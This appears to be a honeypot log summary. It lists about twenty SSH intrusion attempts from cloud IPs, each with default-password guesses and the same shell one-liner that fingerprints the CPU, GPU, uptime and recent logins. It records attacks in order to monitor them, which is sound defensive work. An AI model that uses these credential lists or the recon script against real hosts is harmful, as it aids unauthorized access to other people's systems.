🎭 spice_root_19 (139.59.73.225) β€” Bengaluru, India Β· 2 sessions Β· 8 cmds
2026-03-01 17:09 EST Β· as admin/admin, admin/admin123
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—2
$ uname -s -v -n -m 2 > /dev/null Γ—2
$ uname -m 2 > /dev/null Γ—2
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—2
🎭 tulip_root_8 (167.172.39.1) β€” Amsterdam, Netherlands Β· 9 sessions Β· 36 cmds
2026-03-01 15:56 EST Β· as admin/123456, admin/admin, admin/password
export β†’ uname β†’ cat (repeated export 9x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—9
$ uname -s -v -n -m 2 > /dev/null Γ—9
$ uname -m 2 > /dev/null Γ—9
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—9
🎭 rogue_root_54 (146.190.81.67) β€” Singapore, Singapore Β· 3 sessions Β· 12 cmds
2026-03-01 16:42 EST Β· as admin/123456, admin/admin123, admin/password
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 burger_root_14 (134.199.193.198) β€” Douglasville, United States Β· 11 sessions Β· 44 cmds
2026-03-01 16:10 EST Β· as admin/123456, admin/admin, admin/password
export β†’ uname β†’ cat (repeated export 11x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—11
$ uname -s -v -n -m 2 > /dev/null Γ—11
$ uname -m 2 > /dev/null Γ—11
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—11
🎭 autobahn_root_18 (164.92.254.161) β€” Frankfurt am Main, Germany Β· 8 sessions Β· 32 cmds
2026-03-01 15:59 EST Β· as admin/123456, admin/admin, admin/password
export β†’ uname β†’ cat (repeated export 8x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—8
$ uname -s -v -n -m 2 > /dev/null Γ—8
$ uname -m 2 > /dev/null Γ—8
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—8
🎭 dutch_root_15 (64.227.71.143) β€” Amsterdam, Netherlands Β· 4 sessions Β· 16 cmds
2026-03-01 16:01 EST Β· as root/1234, root/12345678, root/admin
export β†’ uname β†’ cat (repeated export 4x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—4
$ uname -s -v -n -m 2 > /dev/null Γ—4
$ uname -m 2 > /dev/null Γ—4
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—4
🎭 monsoon_root_12 (139.59.91.72) β€” Bengaluru, India Β· 1 session Β· 4 cmds
2026-03-01 15:48 EST Β· as root/admin
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output"
$ uname -s -v -n -m 2 > /dev/null
$ uname -m 2 > /dev/null
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1
🎭 scone_root_6 (134.122.96.190) β€” Slough, United Kingdom Β· 3 sessions Β· 12 cmds
2026-03-01 15:43 EST Β· as admin/123456, admin/admin123, admin/password
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 blitz_root_3 (209.38.219.214) β€” Frankfurt am Main, Germany Β· 6 sessions Β· 24 cmds
2026-03-01 14:16 EST Β· as admin/123456, admin/admin, admin/admin123
export β†’ uname β†’ cat (repeated export 6x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—6
$ uname -s -v -n -m 2 > /dev/null Γ—6
$ uname -m 2 > /dev/null Γ—6
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—6
🎭 crumpet_root_13 (138.68.156.96) β€” Slough, United Kingdom Β· 1 session Β· 4 cmds
2026-03-01 15:23 EST Β· as root/admin
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output"
$ uname -s -v -n -m 2 > /dev/null
$ uname -m 2 > /dev/null
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1
🎭 gouda_root_2 (146.190.28.60) β€” Amsterdam, Netherlands Β· 10 sessions Β· 40 cmds
2026-03-01 14:19 EST Β· as deploy/deploy, guest/guest, mysql/mysql
export β†’ uname β†’ cat (repeated export 10x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—10
$ uname -s -v -n -m 2 > /dev/null Γ—10
$ uname -m 2 > /dev/null Γ—10
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—10
🎭 reef_root_9 (134.199.163.86) β€” Sydney, Australia Β· 6 sessions Β· 24 cmds
2026-03-01 15:06 EST Β· as root/1234, root/12345678, root/admin
export β†’ uname β†’ cat (repeated export 6x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—6
$ uname -s -v -n -m 2 > /dev/null Γ—6
$ uname -m 2 > /dev/null Γ—6
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—6
🎭 clog_root_5 (164.92.147.99) β€” Amsterdam, Netherlands Β· 2 sessions Β· 8 cmds
2026-03-01 14:22 EST Β· as root/admin, root/toor
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—2
$ uname -s -v -n -m 2 > /dev/null Γ—2
$ uname -m 2 > /dev/null Γ—2
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—2
🎭 strudel_root_16 (46.101.101.126) β€” Frankfurt am Main, Germany Β· 5 sessions Β· 20 cmds
2026-03-01 13:42 EST Β· as root/1234, root/12345678, root/admin
export β†’ uname β†’ cat (repeated export 5x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—5
$ uname -s -v -n -m 2 > /dev/null Γ—5
$ uname -m 2 > /dev/null Γ—5
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—5
🎭 blitz_root_12 (161.35.218.148) β€” Frankfurt am Main, Germany Β· 6 sessions Β· 24 cmds
2026-03-01 13:35 EST Β· as root/1234, root/12345678, root/admin
export β†’ uname β†’ cat (repeated export 6x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—6
$ uname -s -v -n -m 2 > /dev/null Γ—6
$ uname -m 2 > /dev/null Γ—6
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—6
🎭 blitz_root_13 (159.89.14.104) β€” Frankfurt am Main, Germany Β· 7 sessions Β· 28 cmds
2026-03-01 13:21 EST Β· as admin/123456, admin/admin, admin/password
export β†’ uname β†’ cat (repeated export 7x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—7
$ uname -s -v -n -m 2 > /dev/null Γ—7
$ uname -m 2 > /dev/null Γ—7
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—7
🎭 tea_root_3 (165.232.106.12) β€” Slough, United Kingdom Β· 8 sessions Β· 32 cmds
2026-03-01 13:37 EST Β· as deploy/deploy, guest/guest, mysql/mysql
export β†’ uname β†’ cat (repeated export 8x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—8
$ uname -s -v -n -m 2 > /dev/null Γ—8
$ uname -m 2 > /dev/null Γ—8
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—8
🎭 toque_root_4 (68.183.204.132) β€” Toronto, Canada Β· 1 session Β· 4 cmds
2026-03-01 13:24 EST Β· as root/1234
export β†’ uname β†’ cat
